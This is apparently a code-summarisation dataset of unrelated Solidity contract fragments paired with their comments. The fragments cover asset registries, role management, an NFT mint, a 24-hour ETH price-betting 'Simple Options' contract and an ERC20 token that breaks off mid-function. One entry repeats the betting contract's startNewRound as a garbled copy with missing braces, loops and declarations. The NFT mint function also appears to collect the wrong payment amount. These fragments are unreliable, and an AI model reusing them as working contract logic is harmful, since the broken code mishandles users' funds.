digitalAssetSpecs[_specId]; address specOwner = ownerOf(_specId); return ( _specId, digitalAssetSpec.name, digitalAssetSpec.symbol, digitalAssetSpec.assetType, digitalAssetSpec.mediaId, digitalAssetSpec.totalSupplyLimit, digitalAssetSpec.referenceValue, specOwner ); } /// @dev Get DigitalAssetSpec info. /// @param _owner address owning the tokens list to be accessed /// @param _index uint256 representing the index to be accessed of the requested tokens list /// @return spec info function getDigitalAssetSpec(address _owner, uint256 _index) public view returns ( uint256 specId, string name, string symbol, uint256 assetType, string mediaId, uint256 totalSupplyLimit, uint256 referenceValue, address owner ) { uint256 id = tokenOfOwnerByIndex(_owner, _index); return getDigitalAssetSpec(id); } /// @dev Get name of DigitalAssetSpec. /// @param _specId spec identifer /// @return name function nameOf(uint256 _specId) public view returns (string) { require(_exists(_specId)); return digitalAssetSpecs[_specId].name; } /// @dev Get symbol of DigitalAssetSpec. /// @param _specId spec identifer /// @return symbol function symbolOf(uint256 _specId) public view returns (string) { require(_exists(_specId)); return digitalAssetSpecs[_specId].symbol; } /// @dev Get assetType of DigitalAssetSpec. /// @param _specId spec identifer /// @return assetType function assetTypeOf(uint256 _specId) public view returns (uint256) { require(_exists(_specId)); return digitalAssetSpecs[_specId].assetType; } /// @dev Get mediaId of DigitalAssetSpec. /// @param _specId spec identifer /// @return mediaId function mediaIdOf(uint256 _specId) public view returns (string) { require(_exists(_specId)); return digitalAssetSpecs[_specId].mediaId; } /// @dev Get totalSupplyLimit of DigitalAssetSpec. /// @param _specId spec identifer /// @return totalSupplyLimit function totalSupplyLimitOf(uint256 _specId) public view returns (uint256) { require(_exists(_specId)); return digitalAssetSpecs[_specId].totalSupplyLimit; } /// @dev Get referenceValue of DigitalAssetSpec. /// @param _specId spec identifer /// @return referenceValue function referenceValueOf(uint256 _specId) public view returns (uint256) { require(_exists(_specId)); return digitalAssetSpecs[_specId].referenceValue; } }
Define a DigitalAssetSpec. _name assetName _symbol assetSymbol _mediaId mediaId _totalSupplyLimit totalSupplyLimit _referenceValue referenceValue return assetId
function define( string _name, string _symbol, uint256 _assetType, string _mediaId, uint256 _totalSupplyLimit, uint256 _referenceValue ) public whenNotPaused { DigitalAssetSpec memory digitalAsset = DigitalAssetSpec({ name : _name, symbol: _symbol, assetType: _assetType, mediaId: _mediaId, totalSupplyLimit: _totalSupplyLimit, referenceValue: _referenceValue }); uint256 specId = digitalAssetSpecs.push(digitalAsset).sub(1); _mint(msg.sender, specId); emit Define(msg.sender, specId); }
5,359,517
./partial_match/1/0xae61DB510cC96D57805Bf3fe4fcCee9365D12fAa/sources/src/Nchart.sol
change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external { _requireIsOwner(); if (newAmount < MIN_SWAP_AMOUNT) { revert Nchart__SwapAmountLowerThanMinimum(); } if (newAmount > MAX_SWAP_AMOUNT) { revert Nchart__SwapAmountGreaterThanMaximum(); } uint256 oldSwapAmount = swapTokensAtAmount; swapTokensAtAmount = newAmount; emit SwapTokensAtAmountUpdated(newAmount, oldSwapAmount); }
2,691,096
pragma solidity ^0.4.26; // Simple Options is a binary option smart contract. Users are given a 24 hour window to determine whether // the price of ETH will increase or decrease. Winners will split the pot of the losers proportionally based on how many // tickets they each have. The first 12 hours of the window allows users to bet against each other, while in the second 12 hours, // they must wait to see if they were right. Once the time has expired, users can force the round to end which will trigger // balance transfers to the winning side and start a new round with the current price set as the starting price; however, // if they don't, a cron job ran externally will automatically close the round. // The price per ticket will gradually increase per hour as the round continues. In the first hour, the price is 0.01 ETH, // while in the final (12th) hour before betting ends, the price is 1 ETH. Users can buy more than 1 ticket. // The price Oracle for this contract is the Maker medianizer (0x729D19f657BD0614b4985Cf1D82531c67569197B), which updates // around every 6 hours. // The contract charges a fee that goes to the contract feeAddress. It is 5%. This fee is taken from the losers pot before // being distributed to the winners. If there are no losers (see below), there are no fees subtracted. // If at the end of the round, the price stays the same, there are no winners or losers. Everyone can withdraw their balance. // If the round is not ended within 3 minutes after the deadline, the price is considered stale and there are no winners or // losers. Everyone can withdraw their balance. contract MakerOracle_ETHUSD { function peek() external view returns (uint256,bool); } contract Simple_Options { // Administrator information address public feeAddress; // This is the address of the person that collects the fees, nothing more, nothing less. It can be changed. uint256 public feePercent = 5000; // This is the percent of the fee (5000 = 5.0%, 1 = 0.001%) uint256 constant roundCutoff = 43200; // The cut-off time (in seconds) to submit a bet before the round ends. Currently 12 hours uint256 constant roundLength = 86400; // The length of the round (in seconds) address constant makerOracle = 0x729D19f657BD0614b4985Cf1D82531c67569197B; // Contract address for the maker oracle. Controlled by MakerDAO. // Different types of round Status enum RoundStatus { OPEN, CLOSED, STALEPRICE, // No winners due to price being too late NOCONTEST // No winners } struct Round { uint256 roundNum; // The round number RoundStatus roundStatus; // The round status uint256 startPriceWei; // ETH price at start of round uint256 endPriceWei; // ETH price at end uint256 startTime; // Unix seconds at start of round uint256 endTime; // Unix seconds at end uint256 totalCallTickets; // Tickets for expected price increase uint256 totalCallPotWei; // Pot size for the users who believe in call uint256 totalPutTickets; // Tickets for expected price decrease uint256 totalPutPotWei; // Pot size for the users who believe in put uint256 totalUsers; // Total users in this round mapping (uint256 => address) userList; mapping (address => User) users; } struct User { uint256 numCallTickets; uint256 numPutTickets; uint256 callBalanceWei; uint256 putBalanceWei; } mapping (uint256 => Round) roundList; // A mapping of all the rounds based on an integer uint256 public currentRound = 0; // The current round event ChangedFeeAddress(address _newFeeAddress); event FailedFeeSend(address _user, uint256 _amount); event FeeSent(address _user, uint256 _amount); event BoughtCallTickets(address _user, uint256 _ticketNum, uint256 _roundNum); event BoughtPutTickets(address _user, uint256 _ticketNum, uint256 _roundNum); event FailedPriceOracle(); event StartedNewRound(uint256 _roundNum); constructor() public { feeAddress = msg.sender; // Set the contract creator to the first feeAddress } // View function // View round information function viewRoundInfo(uint256 _numRound) public view returns ( uint256 _startPriceWei, uint256 _endPriceWei, uint256 _startTime, uint256 _endTime, uint256 _totalCallPotWei, uint256 _totalPutPotWei, uint256 _totalCallTickets, uint256 _totalPutTickets, RoundStatus _status ) { assert(_numRound <= currentRound); assert(_numRound >= 1); Round memory _round = roundList[_numRound]; return (_round.startPriceWei, _round.endPriceWei, _round.startTime, _round.endTime, _round.totalCallPotWei, _round.totalPutPotWei, _round.totalCallTickets, _round.totalPutTickets, _round.roundStatus); } // View user information that is round specific function viewUserInfo(uint256 _numRound, address _userAddress) public view returns ( uint256 _numCallTickets, uint256 _numPutTickets, uint256 _balanceWei ) { assert(_numRound <= currentRound); assert(_numRound >= 1); Round storage _round = roundList[_numRound]; User memory _user = _round.users[_userAddress]; uint256 balance = _user.callBalanceWei + _user.putBalanceWei; return (_user.numCallTickets, _user.numPutTickets, balance); } // View the current round's ticket cost based on the reported current time function viewCurrentCost(uint256 _currentTime) public view returns ( uint256 _cost ) { assert(currentRound > 0); Round memory _round = roundList[currentRound]; uint256 startTime = _round.startTime; uint256 currentTime = _currentTime; assert(currentTime >= startTime); uint256 cost = calculateCost(startTime, currentTime); return (cost); } // Action functions // Change contract fee address function changeContractFeeAddress(address _newFeeAddress) public { require (msg.sender == feeAddress); // Only the current feeAddress can change the feeAddress of the contract feeAddress = _newFeeAddress; // Update the fee address // Trigger event. emit ChangedFeeAddress(_newFeeAddress); } // This function creates a new round if the time is right (only after the endTime of the previous round) or if no rounds exist // Anyone can request to start a new round, it is not priviledged function startNewRound() public { if(currentRound == 0){ // This is the first round of the contract Round memory _newRound; currentRound = currentRound + 1; _newRound.roundNum = currentRound; // Obtain the current price from the Maker Oracle _newRound.startPriceWei = getOraclePrice(0,true); // This function must return a price // Set the timers up _newRound.startTime = now; _newRound.endTime = _newRound.startTime + roundLength; // 24 Hour rounds roundList[currentRound] = _newRound; emit StartedNewRound(currentRound); }else if(currentRound > 0){ // The user wants to close the current round and start a new one uint256 cTime = now; uint256 feeAmount = 0; Round storage _round = roundList[currentRound]; require( cTime >= _round.endTime ); // Cannot close a round unless the endTime is reached // Obtain the current price from the Maker Oracle _round.endPriceWei = getOraclePrice(_round.startPriceWei, false); bool no_contest = false; // If the price is stale, the current round has no losers or winners if( cTime - 180 > _round.endTime){ // More than 3 minutes after round has ended, price is stale no_contest = true; _round.endTime = cTime; _round.roundStatus = RoundStatus.STALEPRICE; } if(_round.endPriceWei == _round.startPriceWei){ no_contest = true; // The price hasn't changed, so no one wins _round.roundStatus = RoundStatus.NOCONTEST; } if(_round.totalPutTickets == 0 || _round.totalCallTickets == 0){ no_contest = true; // There is no one on the opposite side, can't compete _round.roundStatus = RoundStatus.NOCONTEST; } if(no_contest == false){ // There are winners and losers uint256 addAmount = 0; uint256 it = 0; uint256 rewardPerTicket = 0; uint256 roundTotal = 0; if(_round.endPriceWei > _round.startPriceWei){ // The calls have won the game // Take the putters funds, subtract the fee then divide it up among the callers roundTotal = _round.totalPutPotWei; // Get the putters total in the round feeAmount = (roundTotal * feePercent) / 100000; // Calculate the usage fee roundTotal = roundTotal - feeAmount; // Take fee from the total Pot uint256 putRemainBalance = roundTotal; rewardPerTicket = roundTotal / _round.totalCallTickets; for(it = 0; it < _round.totalUsers; it++){ // Go through each user in the round User storage _user = _round.users[_round.userList[it]]; if(_user.numPutTickets > 0){ // We have some losing tickets, set our put balance to zero _user.putBalanceWei = 0; } if(_user.numCallTickets > 0){ // We have some winning tickets, add to our call balance addAmount = _user.numCallTickets * rewardPerTicket; if(addAmount > putRemainBalance){addAmount = putRemainBalance;} // Cannot be greater than what is left _user.callBalanceWei = _user.callBalanceWei + addAmount; putRemainBalance = putRemainBalance - addAmount; } } }else{ // The puts have won the game, price has decreased // Take the callers funds, subtract the fee then divide it up among the putters roundTotal = _round.totalCallPotWei; // Get the callers total in the round feeAmount = (roundTotal * feePercent) / 100000; // Calculate the usage fee roundTotal = roundTotal - feeAmount; // Take fee from the total Pot uint256 callRemainBalance = roundTotal; rewardPerTicket = roundTotal / _round.totalPutTickets; for(it = 0; it < _round.totalUsers; it++){ // Go through each user in the round User storage _user2 = _round.users[_round.userList[it]]; if(_user2.numCallTickets > 0){ // We have some losing tickets, set our call balance to zero _user2.callBalanceWei = 0; } if(_user2.numPutTickets > 0){ // We have some winning tickets, add to our put balance addAmount = _user2.numPutTickets * rewardPerTicket; if(addAmount > callRemainBalance){addAmount = callRemainBalance;} // Cannot be greater than what is left _user2.putBalanceWei = _user2.putBalanceWei + addAmount; callRemainBalance = callRemainBalance - addAmount; } } } // Close out the round completely which allows users to withdraw balance _round.roundStatus = RoundStatus.CLOSED; } // Open up a new round using the endTime for the last round as the startTime // and the endprice of the last round as the startprice Round memory _nextRound; currentRound = currentRound + 1; _nextRound.roundNum = currentRound; // The current price will be the previous round's end price _nextRound.startPriceWei = _round.endPriceWei; // Set the timers up _nextRound.startTime = _round.endTime; // Set the start time to the previous round endTime _nextRound.endTime = _nextRound.startTime + roundLength; // 24 Hour rounds roundList[currentRound] = _nextRound; // Send the fee if present if(feeAmount > 0){ bool sentfee = feeAddress.send(feeAmount); if(sentfee == false){ emit FailedFeeSend(feeAddress, feeAmount); // Create an event in case of fee sending failed, but don't stop ending the round }else{ emit FeeSent(feeAddress, feeAmount); // Record that the fee was sent } } emit StartedNewRound(currentRound); } } // Buy some call tickets function buyCallTickets() public payable { buyTickets(0); } // Buy some put tickets function buyPutTickets() public payable { buyTickets(1); } // Withdraw from a previous round // Cannot withdraw partial funds, all funds are withdrawn function withdrawFunds(uint256 roundNum) public { require( roundNum > 0 && roundNum < currentRound); // Can only withdraw from previous rounds Round storage _round = roundList[roundNum]; require( _round.roundStatus != RoundStatus.OPEN ); // Round must be closed User storage _user = _round.users[msg.sender]; uint256 balance = _user.callBalanceWei + _user.putBalanceWei; require( _user.callBalanceWei + _user.putBalanceWei > 0); // Must have a balance to send out _user.callBalanceWei = 0; _user.putBalanceWei = 0; msg.sender.transfer(balance); // Protected from re-entrancy } // Private functions function calculateCost(uint256 startTime, uint256 currentTime) private pure returns (uint256 _weiCost){ uint256 timediff = currentTime - startTime; uint256 chour = timediff / 3600; uint256 cost = 10000000000000000; // The starting cost, 0.01 ETH cost = cost + 90000000000000000 * chour; // The cost increases at 0.09 ETH per hour return cost; } // Grabs the price from the MakerDAO oracle function getOraclePrice(uint256 _currentPrice, bool required) private returns (uint256 _price){ MakerOracle_ETHUSD oracle = MakerOracle_ETHUSD(makerOracle); (uint256 price, bool ok) = oracle.peek(); // Get the price in Wei if(ok == true){ return price; }else{ if(required == false){ // Failed to get the price from the Oracle, set to the start price and rule round no contest // Emit an event that shows this failed emit FailedPriceOracle(); return _currentPrice; }else{ // If required to obtain a price but unable to, revert the transaction revert(); } } } function buyTickets(uint256 ticketType) private { require( currentRound > 0 ); // There must be an active round ongoing Round storage _round = roundList[currentRound]; uint256 endTime = _round.endTime; uint256 startTime = _round.startTime; uint256 currentTime = now; require( currentTime <= endTime - roundCutoff); // Cannot buy a ticket after the cutoff time uint256 currentCost = calculateCost(startTime, currentTime); // Calculate the price require(msg.value % currentCost == 0); // The value must be a multiple of the cost require(msg.value >= currentCost); // Must have some value require(_round.totalUsers <= 1000); // Cannot have more than 1000 users per round require(_round.roundStatus == RoundStatus.OPEN); // Round is still open, it should be uint256 numTickets = msg.value / currentCost; // The user can buy multple tickets // Check if user is in the mapping User memory _user = _round.users[msg.sender]; if(_user.numCallTickets + _user.numPutTickets == 0){ // No tickets yet for user, new user _round.userList[_round.totalUsers] = msg.sender; _round.totalUsers = _round.totalUsers + 1; } if(ticketType == 0){ // Call ticket _user.numCallTickets = _user.numCallTickets + numTickets; _user.callBalanceWei = _user.callBalanceWei + msg.value; _round.totalCallTickets = _round.totalCallTickets + numTickets; _round.totalCallPotWei = _round.totalCallPotWei + msg.value; emit BoughtCallTickets(msg.sender, numTickets, currentRound); }else{ // Put ticket _user.numPutTickets = _user.numPutTickets + numTickets; _user.putBalanceWei = _user.putBalanceWei + msg.value; _round.totalPutTickets = _round.totalPutTickets + numTickets; _round.totalPutPotWei = _round.totalPutPotWei + msg.value; emit BoughtPutTickets(msg.sender, numTickets, currentRound); } _round.users[msg.sender] = _user; // Add the user information to the game } }
This function creates a new round if the time is right (only after the endTime of the previous round) or if no rounds exist Anyone can request to start a new round, it is not priviledged This is the first round of the contract Obtain the current price from the Maker Oracle Set the timers up The user wants to close the current round and start a new one Obtain the current price from the Maker Oracle If the price is stale, the current round has no losers or winners There are winners and losers The calls have won the game Take the putters funds, subtract the fee then divide it up among the callers We have some losing tickets, set our put balance to zero We have some winning tickets, add to our call balance We have some losing tickets, set our call balance to zero We have some winning tickets, add to our put balance
function startNewRound() public { if(currentRound == 0){ Round memory _newRound; currentRound = currentRound + 1; _newRound.roundNum = currentRound; _newRound.startTime = now; roundList[currentRound] = _newRound; emit StartedNewRound(currentRound); uint256 cTime = now; uint256 feeAmount = 0; Round storage _round = roundList[currentRound]; _round.endPriceWei = getOraclePrice(_round.startPriceWei, false); bool no_contest = false; no_contest = true; _round.endTime = cTime; _round.roundStatus = RoundStatus.STALEPRICE; } if(_round.endPriceWei == _round.startPriceWei){ _round.roundStatus = RoundStatus.NOCONTEST; } if(_round.totalPutTickets == 0 || _round.totalCallTickets == 0){ _round.roundStatus = RoundStatus.NOCONTEST; } if(no_contest == false){ uint256 addAmount = 0; uint256 it = 0; uint256 rewardPerTicket = 0; uint256 roundTotal = 0; if(_round.endPriceWei > _round.startPriceWei){ uint256 putRemainBalance = roundTotal; rewardPerTicket = roundTotal / _round.totalCallTickets; User storage _user = _round.users[_round.userList[it]]; if(_user.numPutTickets > 0){ _user.putBalanceWei = 0; } if(_user.numCallTickets > 0){ addAmount = _user.numCallTickets * rewardPerTicket; _user.callBalanceWei = _user.callBalanceWei + addAmount; putRemainBalance = putRemainBalance - addAmount; } } rewardPerTicket = roundTotal / _round.totalPutTickets; User storage _user2 = _round.users[_round.userList[it]]; if(_user2.numCallTickets > 0){ _user2.callBalanceWei = 0; } if(_user2.numPutTickets > 0){ addAmount = _user2.numPutTickets * rewardPerTicket; _user2.putBalanceWei = _user2.putBalanceWei + addAmount; callRemainBalance = callRemainBalance - addAmount; } } }
5,473,128
pragma solidity ^0.4.24; import "../Roles.sol"; import "./OwnerRole.sol"; /** * @title ListerAdminRole * * @dev Role for providing access control to functions that administer individual lister roles. * This contract inherits from OwnerRole so that owners can administer this role. * The ListerRole contract should inherit from this contract. */ contract ListerAdminRole is OwnerRole { using Roles for Roles.Role; /** Event emitted whenever an account is given access to the listerAdmin role. */ event ListerAdminAdded(address indexed account); /** Event emitted whenever an account has access removed from the listerAdmin role. */ event ListerAdminRemoved(address indexed account); /** Mapping of account addresses with access to the listerAdmin role. */ Roles.Role private _listerAdmins; /** * @dev Modifier to make a function callable only when the caller has access to the listerAdmin role. */ modifier onlyListerAdmin() { require(_isListerAdmin(msg.sender)); _; } /** * @dev Assert if the given `account` has been provided access to the listerAdmin role. * * @param account The account address being queried * @return True if the given `account` has access to the listerAdmin role, otherwise false */ function isListerAdmin(address account) external view returns (bool) { return _isListerAdmin(account); } /** * @return The number of account addresses with access to the listerAdmin role. */ function numberOfListerAdmins() external view returns (uint256) { return _listerAdmins.size(); } /** * @return An array containing all account addresses with access to the listerAdmin role. */ function listerAdmins() external view returns (address[]) { return _listerAdmins.toArray(); } /** * @dev Provide the given `account` with access to the listerAdmin role. * Callable by an account with the owner role. * * @param account The account address being given access to the listerAdmin role */ function addListerAdmin(address account) external onlyOwner { _addListerAdmin(account); } /** * @dev Remove access to the listerAdmin role for the given `account`. * Callable by an account with the owner role. * * @param account The account address having access removed from the listerAdmin role */ function removeListerAdmin(address account) external onlyOwner { _removeListerAdmin(account); } /** * @dev Remove access to the listerAdmin role for the `previousAccount` and give access to the `newAccount`. * Callable by an account with the owner role. * * @param previousAccount The account address having access removed from the listerAdmin role * @param newAccount The account address being given access to the listerAdmin role */ function replaceListerAdmin(address previousAccount, address newAccount) external onlyOwner { _replaceListerAdmin(previousAccount, newAccount); } /** * @dev Replace all accounts that have access to the listerAdmin role with the given array of `accounts`. * Callable by an account with the owner role. * * @param accounts An array of account addresses to replace all existing listerAdmins with */ function replaceAllListerAdmins(address[] accounts) external onlyOwner { _replaceAllListerAdmins(accounts); } /** * @dev Internal function that asserts the given `account` is in `_listerAdmins`. * * @param account The account address being queried * @return True if the given `account` is in `_listerAdmins`, otherwise false */ function _isListerAdmin(address account) internal view returns (bool) { return _listerAdmins.has(account); } /** * @dev Internal function that adds the given `account` to `_listerAdmins`. * Emits a ListerAdminAdded event. * * @param account The account address being given access to the listerAdmin role */ function _addListerAdmin(address account) internal { _listerAdmins.add(account); emit ListerAdminAdded(account); } /** * @dev Internal function that removes the given `account` from `_listerAdmins`. * Emits a ListAdminRemoved event. * * @param account The account address having access removed from the listerAdmin role */ function _removeListerAdmin(address account) internal { _listerAdmins.remove(account); emit ListerAdminRemoved(account); } /** * @dev Internal function that replaces the `previousAccount` in `_listerAdmins` with the `newAccount`. * Emits a ListerAdminRemoved event. * Emits a ListerAdminAdded event. * * @param previousAccount The account address having access removed from the listerAdmin role * @param newAccount The account address being given access to the listerAdmin role */ function _replaceListerAdmin(address previousAccount, address newAccount) internal { _listerAdmins.replace(previousAccount, newAccount); emit ListerAdminRemoved(previousAccount); emit ListerAdminAdded(newAccount); } /** * @dev Internal function that replaces all accounts in `_listerAdmins` with the given array of `accounts`. * Emits a ListerAdminAdded event for each account in the `accounts` array that doesn't already have access. * Emits a ListerAdminRemoved event for each account that has access removed from the tester role. * * @param accounts An array of account addresses to replace all existing listerAdmins with */ function _replaceAllListerAdmins(address[] accounts) internal { // Emit a ListerAdminAdded event for each account that doesn't already have access to the role for (uint256 i = 0; i < accounts.length; i++) { if (!_listerAdmins.has(accounts[i])) { emit ListerAdminAdded(accounts[i]); } } // Replace all existing accounts with the given array of addresses address[] memory previousAccounts = _listerAdmins.replaceAll(accounts); // Emit a ListerAdminRemoved event for each previous account that no longer has access to the role for (uint256 j = 0; j < previousAccounts.length; j++) { if (!_listerAdmins.has(previousAccounts[j])) { emit ListerAdminRemoved(previousAccounts[j]); } } } }
Remove access to the listerAdmin role for the given `account`. Callable by an account with the owner role. account The account address having access removed from the listerAdmin role/
function removeListerAdmin(address account) external onlyOwner { _removeListerAdmin(account); }
12,634,052
./full_match/80001/0xB78fA3ae63cd20e7E82fFE4c9C550934fE64f195/sources/contracts/zuckMaxNFTFactory.sol
produce random MAX uint16 cardNum = getCardNum(_mintMaxAmount); if(cardNum<=700){ Crazy MAX N MaxNFT item1 = new MAXNFT(tokenIds[i],"Crazy Max",0,0,msg.sender,msg.sender,0,"N","Farm") maxs.push(item1); }else if(cardNum>700 && cardNum<=900){ Mad Max R MaxNFT item2 = new MAXNFT(tokenIds[i],"Mad Max",0,0,msg.sender,msg.sender,0,"R","Earth") item2.mint(tokenIds[i]) maxs.push(item2); }else if(cardNum>900 && cardNum<=990){ King Max SR maxs.push(new MAXNFT(tokenIds[i],"King Max",0,0,msg.sender,msg.sender,0,"SR","Moon")); }else if(cardNum>990 && cardNum<=1000){ Mars Max SSR maxs.push(new MAXNFT(tokenIds[i],"Mars Max",0,0,msg.sender,msg.sender,0,"SSR","Mar")); }
function mint(uint8 _mintMaxAmount, uint8 _payZuckAmount) external callerIsUser mintStarted { require(_mintMaxAmount > 0, "one should be minted"); require(_mintMaxAmount < totalTokens, "Can't mint more than total tokens"); require(!lockStatus,'lock already'); uint16 tokensLeft = getAvailableTokens(); require(tokensLeft > 0, "No tokens left to be minted"); if(enableWhilteList){ require(whitelist[msg.sender],'not in whitelist'); } if (_mintMaxAmount > tokensLeft) { _mintMaxAmount = uint8(tokensLeft); } uint256 needCostZuckAmount = zuckMintPrice * _mintMaxAmount; require( _payZuckAmount >= needCostZuckAmount, "Not enough Zuck to mint the maxs" ); require( mintedTokensPerWallet[msg.sender] + _mintMaxAmount <= maxMintsPerWallet, "You can not mint more tokens" ); if (_payZuckAmount >= needCostZuckAmount) { IERC20(zuckAddr).transferFrom(msg.sender, address(this), _payZuckAmount-needCostZuckAmount); } uint256[] memory tokenIds = new uint256[](_mintMaxAmount); uint16 tmpTotalMintedTokens = totalSupply; mintedTokensPerWallet[msg.sender] += _mintMaxAmount; totalSupply += _mintMaxAmount; for (uint256 i; i < _mintMaxAmount; i++) { tokenIds[i] = _getTokenToBeMinted(tmpTotalMintedTokens); MAXNFT item1 = new MAXNFT(tokenIds[i],"Crazy Max",0,0,msg.sender,msg.sender,0,"N","Farm"); maxs.push(item1); tmpTotalMintedTokens++; } }
873,894
./full_match/1/0x1F52274DDF8fD6CE92633ab33F708e5b0b39B134/sources/browser/Untitled.sol
Just in case there is a problem and we need to change dates /
function setchristmasday (uint newDay) external onlyOwner { christmasday = newDay; }
3,870,116
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] 